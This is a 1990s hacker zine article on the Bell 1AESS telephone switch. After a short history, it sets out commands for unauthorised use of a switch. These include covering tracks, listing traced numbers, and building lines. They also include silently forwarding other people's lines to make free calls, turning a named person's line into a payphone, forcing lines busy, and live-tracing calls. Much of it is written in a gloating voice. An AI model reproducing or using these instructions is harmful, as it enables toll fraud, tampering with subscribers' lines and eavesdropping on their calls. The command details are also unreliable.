(Second of two articles written for CoTNo #006 [Communications of The New Order])

        The Tao of 1AESS..................................Dead Kat & Disorder



                           -= The Tao of 1AESS =-
                           -= DeadKat&Disorder =-


                -= Special thanks to Gatsby and Mark Tabas =-

The Bell System's first trial of electronic switching took place in Morris,
Illinois, in 1960.  The Morris trial culminated a 6-year development and
proved the viability of the stored-program control concept.  The first
application of electronic local switching in the Bell System occurred in May
1965 with the cutover of the first 1ESS switch in Succasunna, New Jersey.

The 1ESS switching system was designed for use in areas where large numbers
of lines and lines with heavy traffic (primarily business customers) are
served.  The system has generally been used in areas serving between 10,000
and 65,000 lines and has been the primary replacement system for urban
step-by-step and panel systems.  The ease and flexibility of adding new
services made 1ESS switching equipment a natural replacement vehicle in 
city applications where the demand for new, sophisticated business and
residence services is high.

In 1976, the first electronic toll switching system to operate a digital
time-division switching network under stored-program control, the 4ESS
system, was placed in service.  It used a new control, the 1A processor,
for the first time to gain a call carrying capacity in excess of 550,000
busy-hour calls.  The 1A processor was also designed for local switching
application.  It doubled the call-carrying capacity of the 1ESS switching
system and was introduced in 1976 in the first 1AESS switch.  The network
capacity of 1ESS switching equipment was also doubled to allow the 1AESS
switch to serve 130,000 lines.

In addition to local telephone service, the 1AESS switches offer a variety
of special services.  Custom Local Area Switching Services (CLASS) are 
available as well Custom Calling Services.  Business customers may select
offerings such as centrex, ESS-ACS, Enhanced Private Switched Communications
Service, or electronic tandem switching.

Although more modern switches like 5ESS and DMS 200 have been developed, it
is estimated that some 50 percent of all switches are still 1AESS.

The 1AESS uses a command line interface for all commands.  The commands are
divided into three fields:  action, identification, and data.  The fields 
are always separted by a colon.  Every command is terminated by either a
period for verification commands or a 'ballbat' (!) for change commands.  
The control-d is used to execute the command instead of a return.  The 
underscore is used as a backspace.  Commands are always typed in 'all caps'.

The action field is the first field of the command and is ended by a colon.
The identification field is ended by the second colon.  The identification
field has one or two subfields which are separated by a semicolon.  Semicolons
are not used elsewhere in the command.  The data field consists of keyword
units and is the remaining portion of the command.

Basic Machine Commands
These commands provide useful information from the system.  The WHO-RV-
command will tell you what CO it is and what version of the OS is installed.
If your output is scrolling off the screen press space to end scrolling.  
The V-STOP- command will clear the buffer.

WHO-RV-.                  System information.
SPACE                     Stops output from scrolling.
V-STOP-.                  Free buffer of remaining LENS/INFO.

Channel Commands
Channel commands are used to redirect input and output.  If a switch won't
respond to a command use the OP:CHAN command to check on current channel.
If your channel is not responding, use the MON:CHAN command to switch output
and control to your terminal (the remote).  You can check the status of the 
RC with the RCCENSUS command.

OP:CHAN:MON!                   Shows all channels which are being monitored.
MON:CHAN SC1;CHAN LOC!         Redirect output to remote screen.
STOP: MON;CHAN SC1;CHAN LOC!   Redirect output to local screen.
                               (This command needs to be done after you 
                               are finished to help cover your tracks)
OP:RCCENSUS!                   To see recent change status.

Tracing Commands
CI-LIST- will give you a list of all numbers which are being traced 
externally.  It will not show you lines which are being traced 
internally, ie: numbers inside one of the prefixes controlled 
by the switch you are on. 

CI-LIST-.                 Traced line list.

Check Features on Line
The VF command is used to check the current settings on a line.  
The DN XXXXXXX specifies the phone number of the line you wish to check.
Replace XXXXXXX with the seven digit phone number of the line you are 

VF:DNSVY:FEATRS,DN XXXXXXX,1,PIC!       Check features of a line.    
VF:DNSVY:DN XXXXXXX,1,LASFTRS!          Display last Features

          Call Features   CWT- Call Waiting
                          CFB- Call Forward Busy - Busy=VM
                          CFV- Call Forwarding Variable
                          CFD- Call Forward Don't answer
                          TWC- Three Way Calling
                          TTC- Touch Tone
                          RCY- Ring Cycle
                          SC1- Speed Calling 1
                          SC2- Speed Calling 2
                          UNA- No Long Distance 
                          PXX- Block all LD service (guess)
                          MWI- Message Waiting Indicator
                          CHD- centrex(unremarkable)
                          CPU- centrex(unremarkable)
                          CLI- Calling Line Identification (CID)
                          ACB- Automatic Call Back Feature (?)
                          BLN- Special Toll Billing
                          FRE- Free Calling

The standard output of a command appears below.  The 'DN 348 2141' specifies
the number you are checking.  The calling features will be listed on the 
second line by their three letter acronyms.  This line has call waiting
(CWT), a trace (TRC), and touch tone dialing (TTC).

Example of 1A output:

M 53 TR75 2 DN 348 2141 00000003
              CWT  TRC  TTC                                     

Searching For Free Lines
The VFY command can be used to check if a line is in use.  The output will
list the LEN (Line Equipment Number) for the line and its call features in 
octal.  If the LEN is all zeros, then that number has not been assigned.
Replace XXXXXXX with the number you wish to check.  You must prefix the
phone number with 30.  You can also check for unused LEN's using the VFY 
command.  Use the space bar to stop scrolling and the V-STOP command to  
cancel when looking up free LEN's.

VFY-DN-30XXXXXXX.               Search for free lines.
VFY-LEN-4100000000.             List all free LENs.
VFY-TNN-XXXXXXXX.               To get information on trunk.

The output for the VFY-DN command will appear like the one below.  Notice                               
that this number has been assigned a LEN so it is in use.

M 06 TR01 796 9146           
         0 0 0 0                                     
         LEN 01 025 000         
         001 000 000 000 000 000 4
         000 000 000 000 000 000 000 000
         0 0 0 0               
         0 0 0 0 0                                  

Searching for a Particular Feature on a Line (like trace)
All line information is stored in the switch for its coverage area.  The 
switch is like a huge database in this sense.  You can do global searches
on the switch for any feature.  One especially interesting feature to search
for are traced numbers.  Traced numbers listed this way are INTERNALLY 
traced as opposed to globally traced numbers shown with the CI-LIST- command.
Global and internal trace lists are always very different.  And remember,
be a good samaritan and call the person being traced and let them know!  ;-)

VF:DNSVY:FEATRS,EXMATCH TRACE!          Pull all numbers IN switch area with
                                        trace on it (takes a sec).

You can exmatch for any LASS feature by replacing the keyword TRACE with any 
call feature like call forwarding (CFB) and speed calling (SC1).

To See What Numbers Are on a Speed Calling List
Another nice use for the VFY command is to see what is on a line's speed
calling list.  Replace XXXXXXX with the target phone number.  One devious
use is to look at the CO's speed call list to find other internal telco

         09=mask  02=single list  (one digit speed calling)
                  20=double list  (two digit speed calling)
                  28=     "                   "
                  36=     "                   "
                  44=     "                   "

To Build a Line
The recent change command (RC) is used to create and modify lines.  Because
RC commands are usually very long and complex, they are typed on multiple
lines to simplify them.  Each subfield of the data section of the command is
typed on a separate line ended by a slash (\) followed by pressing ctrl-d.
To create a line, you specify LINE in the identification field.  Before 
a line can be created, you must first locate an unused number by using the
VFY-DN command explained above.  Once a free number has been found, you
use the VFY-LEN to find an available LEN.  To build a new line, follow
these steps:

First, find spare LEN (VFY-LEN-4100000000.).  Next find free line. Now type
in the RC commands using the following commands as a template:

RC:LINE:\         (create a line)
ORD 1\            (execute the command immediately)
TN XXXXXXX\       (telephone number)
LEN XXXXXXXX\     (len found from above)
LCC 1FR\          (line class code 1fr)
CFV\              (call forward)
XXX 288\          (type XXX, space, then the three digit PIC)
                   ld carrier -  222 - MCI
                                 288 - AT&T
                                 333 - Sprint, etc.)
!                 (BEWM, don't forget the ctrl-d!!)

(Look for RCXX blah blah ACPT blah - This means the RECENT CHANGE 
 has taken affect)

Creating Call Forwarding Numbers
The call forwarding feature is the most important feature for hackers.  By
creating a line or modifying an existing line with call forwarding, you can
than use it to make free phone calls.  You set the line to call forward/
no ring and then give it the call forwarded number.  This will allow you
to call the modified line and be instantly forwarded to your pre-chosen

First create a line using RC:LINE:, then modify the line using the following
commands as a template.

RC:CFV:\          (add call forwarding to a line.. begin: )
ORD 1\            (execute the command immediately) 
BASE XXXXXXX\     (base number you are changing)
TO XXXXXXX\       (local - XXXXXXX : ld - XXXXXXXXXX )
PFX\              (set prefix to 1 if ld)
!                 (BEWM)

To Change Call Forward Number
It is safer to modify an existing call forward than to create a new line 
solely for this purpose.  You can use the VFY command and EXMATCH for CFB to
find lines with call forwarding.  Before you can change the call forwarding
'TO' number you must delete the old one.  Remove call forward number using 
CFV:OUT with the template below.

RC:CFV;OUT:\      (remove call forward number...begin: )
ORD 1\            (execute command immediately)             
BASE XXXXXXX\     (number to remove it from)             
!                 (Yeeee-Hahhhahah)

Make Call Forward Not Ring
The only drawback to call forwarding off someone's line is if rings they
might answer.  To get around this, you add the call-forward no-ring option
(ICFRR) using the following as a template.

RC:LINE;CHG:\     (recent change line to be specified)
ORD 1\            (execute command immediately)
TN XXXXXXX\       (number you wanna fuck with)
ICFRR\            (this takes the ring off)
!                 (Go!)

Adding a feature to a line 
The RC:LINE;CHG: can also be used to add any other call feature.  Use the
same template but change the feature.

RC:LINE;CHG:\     (this is used for changing features)
ORD 1\            (order number)
TN XXXXXXX        (telephone number you are fucking with)
TWC\              (replace this with any feature you wish)
!                 (Fire!)

Removing a Feature
Use the NO delimiter to remove a feature from a line.

RC:LINE;CHG:\     (change a feature)
ORD 1\            (effective immediately)
TN XXXXXXX\       (telephone number)
CFV NO\           (feature followed by NO)
!                 (Boo-Ya!)

Change Phone number into payphone
You've read about in the Hacker Crackdown, now you too can be 31337 and 
change Gail Thackery's phone into a payphone.  In fact you can change the
line class code (LCC) to anything you want.  To display the LCC of a line
use the following and replace the XXXXXXX with the line you wish to view.

VF:DNSVY:LCC,DN XXXXXXX,1,PIC!    (display line class code)
                                   DTF = Payphone
                                   1FR = Flat Rate
                                   1MR = Measured Rate
                                   1PC = One Pay Phone
                                   CDF = DTF Coin
                                   PBX = Private Branch Exchange
                                   CFD = Coinless(ANI7) Charge-a-call
                                   INW = InWATS  (800!@#)
                                   OWT = OutWATS 
                                   PBM = O HO/MO MSG REG (NO ANI)
                                   PMB = LTG = 1 HO/MO (Regular ANI6)
                                   (ani6 and ani7 - only good for DMS)

To change the line into a payphone use the RC:LINE;CHG command and modify
the LCC like the example below.

RC:LINE;CHG;\     (this is used for changing features)
ORD 1\            (order number)
TN XXXXXXX\       (telephone number you are fucking with)
LCC DTF\          (line class code you are changing to)
!                 (Make it so.)

*(You may have to remove some LASS features when doing this)*

To Kill a Line and Remove It Permanently
If you need to delete a line you have created (or haven't) use the following

RC:LINE;OUT:\     (remove line)
ORD 1\            (effective immediately)
TN XXXXXXX\       (on this number)
!                 (GO!)

Monitoring Phone Calls
There are powerful utilities to monitor calls and affect phone lines 
available on a 1A.  The T-DN- commands allow you to check the current
status of line and make it busy or idle.  If a line happens to be active
you can use the NET-LINE- command to trace the call and find the numbers
for both calling parties.

T-DN-RD XXXXXXX.                See if call in progress.
                                        output:  =1 line busy
                                                =0 line idle
T-DN-MB XXXXXXX.                Make line busy.
T-DN-MI XXXXXXX.                Make line idle.
NET-LINE-XXXXXXX0000.           To do a live trace on a phonenumber thru 
NET-TNN-XXXXXX                  Same as above for trunk trace


Appendix 1 - Common output messages seen on 1A switches

      ** ALARM **

AR01  Office alarm
AR02  Alarm retired or transferred
AR03  Fuse blown
AR04  Unknown alarm scan point activated
AR05  Commercial power failure
AR06  Switchroom alarm via alarm grid
AR07  Power plant alarm
AR08  Alarm circuit battery loss
AR09  AMA bus fuse blown
AR10  Alarm configuration has been changed (retired,inhibited)
AR11  Power converter trouble
AR13  Carrier group alarm
AR15  Hourly report on building and power alarms

AT01  Results of trunk test

      ** CARRIER GROUP **
CG01  Carrier group in alarm
CG03  Reason for above

      ** COIN PHONE **
CN02  List of pay phones with coin disposal problems
CN03  Possible Trouble
CN04  Phone taken out of restored service because of possible coin fraud

      ** COPY **
COPY  Data copied from one address to another

      ** CALL TRACE **
CT01  Manually requested trace line to line, information follows
CT02  Manually requested trace line to trunk, information follows
CT03  Intraoffice call placed to a number with CLID
CT04  Interoffice call placed to a number with CLID
CT05  Call placed to number on the CI list
CT06  Contents of the CI list
CT07  ACD related trace
CT08  ACD related trace
CT09  ACD related trace

DCT COUNTS Count of T carrier errors

DGN   Memory failure in cs/ps diagnostic program

FM01  DCT alarm activated or retired
FM02  Possible failure of entire bank not just frame
FM03  Error rate of specified digroup
FM04  Digroup out of frame more than indicated
FM05  Operation or release of the loop terminal relay
FM06  Result of digroup circuit diagnostics
FM07  Carrier group alarm status of specific group
FM08  Carrier group alarm count for digroup
FM09  Hourly report of carrier group alarms
FM10  Public switched digital capacity failure
FM11  PUC counts of carrier group errors

      ** MAINTENANCE **
MA02  Status requested, print out of MACII scratch pad
MA03  Hourly report of system circuits and units in trouble
MA04  Reports condition of system
MA05  Maintenance interrupt count for last hour
MA06  Scanners,network and signal distributors in trouble
MA07  Successful switch of duplicated unit (program store etc.)
MA08  Excessive error rate of named unit
MA09  Power should not be removed from named unit
MA10  OK to remove paper
MA11  Power manually removed from unit
MA12  Power restored to unit
MA13  Indicates central control active
MA15  Hourly report of # of times interrupt recovery program acted
MA17  Centrex data link power removed
MA21  Reports action taken on MAC-REX command
MA23  4 minute report, emergency action phase triggers are inhibited

      ** MEMORY **
MN02  List of circuits in trouble in memory

NT01  Network frame unable to switch off line after fault detection
NT02  Network path trouble Trunk to Line
NT03  Network path trouble Line to Line
NT04  Network path trouble Trunk to Trunk
NT06  Hourly report of network frames made busy
NT10  Network path failed to restore

OP:CISRC     Source of critical alarm, automatic every 15 minutes
OP:CSSTATUS  Call store status
OP:DUSTATUS  Data unit status
OP:ERAPDATA  Error analysis database output
OP:INHINT    Hourly report of inhibited devices
OP:LIBSTAT   List of active library programs
OP:OOSUNITS  Units out of service
OP:PSSTATUS  Program store status

PM01  Daily report
PM02  Monthly report
PM03  Response to a request for a specific section of report
PM04  Daily summary of IC/IEC irregularities

      ** REPORT **
REPT:ADS FUNCTION  Reports that a ADS function is about to occur
REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned
REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable
REPT:PROG CONT OFF-NORMAL System programs that are off or on
REPT:RC CENSUS Hourly report on recent changes
REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited)

      ** RECENT CHANGE **
RC18  RC message response

      ** REMOVE **
RMV   Removed from service

      ** RESTORE **
RST   Restored to service status

RT04  Status of monitors

      ** SOFTWARE AUDIT **
SA01  Call store memory audit results
SA03  Call store memory audit results

SIG IRR  Blue box detection
SIG IRR TRAF  Half hour report of traffic data

TC15  Reports overall traffic condition
TL02  Reason test position test was denied
TL03  Same as above

      ** TRUNK NETWORK **
TN01  Trunk diagnostic found trouble
TN02  Dial tone delay alarm failure
TN04  Trunk diag request from test panel
TN05  Trunk test procedural report or denials
TN06  Trunk state change
TN07  Response to a trunk type and status request
TN08  Failed incoming or outgoing call
TN09  Network relay failures
TN10  Response to TRK-LIST input, usually a request from test position
TN11  Hourly, status of trunk undergoing tests
TN16  Daily summary of precut trunk groups

TOC01 Serious traffic condition
TOC02 Reports status of less serious overload conditions

      ** TRANSLATION **  (shows class of service, calling features etc.)
TR01  Translation information, response to VFY-DN
TR03  Translation information, response to VFY-LEN
TR75  Translation information, response to VF:DNSVY
      **             **
TW02  Dump of octal contents of memory

Trace Output Appearance (COT - Customer Oriented Trace)
A 03 CT04 22 03 02  05 11 26  359  705 8500    <-- NUMBER CALLED
         CPN 212 382 8923                      <-- WHO CALLED
         01/14/95  22:03:02                    <-- TIME/DATE
         #236                                  <-- JOB NUMBER

Appendix 2 - Miscellaneous 1A Commands found on logs from CO dumpsters:

RMV::NPC 69!
UTL::QRY.SCON to 135!        (as far out as   to 12003!)
UTL::QRY.SCON 13615/01!
GRTH::UNIT1!       (FT100) <-- comment written by command
GRTH::UNI1,FTMI1, EQL(L,R)     (2,2) <-- Example

RST::TAPE!                     (This and the next two commands were 
UTL::BMTR.FROM DISK.TO TAPE!    ALWAYS found together, and are pretty
RMV::TAPE!                      obvious)

SDIS::FROM 11204/03.TO 11204/04!
UTL::QRY.CMAP.TO 11204/03!
UTL::QRY,CMAP 01117!
SCON::RATE 96.FROM 11204/03.TO 11204/4!

              |_|____________Bay        (These show physical locations
                |____________Unit        of trunks)

UTL::LOC,NPC 01117!
 output -    1-01-38
                   |_________38(1/8) inches

Appendix 3 - Suggested reading

Acronyms 1988 (Phrack #20, file 11)
Central Office Operations by Agent Steal (LoDTJ #4, file 4)
ESS & 1A Switching Systems by Ninja Master
The Fine Art of Telephony by Crimson Flash (Phrack #38, file 7)
Guide to 5ESS by Firm G.R.A.S.P. (Phrack #43, file 16)
Lifting Ma Bell's Cloak of Secrecy by VaxCat (Phrack #24, file 9)
Operator Services Position System by Bandito (Phun #5, file 8)
Peering Into the soul of ESS by Jack the Ripper (Phun #5, file 2)